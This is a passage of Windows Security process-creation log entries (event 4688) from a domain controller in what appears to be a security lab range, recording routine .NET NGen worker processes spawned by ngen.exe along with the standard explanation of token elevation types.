auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254475 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 604 -InterruptEvent 0 -NGENProcess 5fc -Pipe 550 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254474 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1344 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 550 -InterruptEvent 0 -NGENProcess 604 -Pipe 5b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254473 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5f8 -InterruptEvent 0 -NGENProcess 5c8 -Pipe 53c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254472 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 53c -InterruptEvent 0 -NGENProcess 5f8 -Pipe 518 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254471 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 518 -InterruptEvent 0 -NGENProcess 53c -Pipe 560 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254470 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 518 -Pipe 530 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254469 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 530 -InterruptEvent 0 -NGENProcess 560 -Pipe 548 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254480 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 608 -InterruptEvent 0 -NGENProcess 640 -Pipe 630 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254479 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 630 -InterruptEvent 0 -NGENProcess 608 -Pipe 61c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254478 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf78 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 624 -InterruptEvent 0 -NGENProcess 5d4 -Pipe 614 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254477 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 614 -InterruptEvent 0 -NGENProcess 624 -Pipe 5fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254476 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5fc -InterruptEvent 0 -NGENProcess 614 -Pipe 604 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254484 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 56c -InterruptEvent 0 -NGENProcess 5ec -Pipe 654 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254483 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x294 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 654 -InterruptEvent 0 -NGENProcess 56c -Pipe 644 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254482 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 644 -InterruptEvent 0 -NGENProcess 654 -Pipe 63c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254481 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 640 -InterruptEvent 0 -NGENProcess 618 -Pipe 608 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254497 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6b4 -InterruptEvent 0 -NGENProcess 580 -Pipe 5d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254496 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 52c -InterruptEvent 0 -NGENProcess 580 -Pipe 65c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254495 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x960 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: 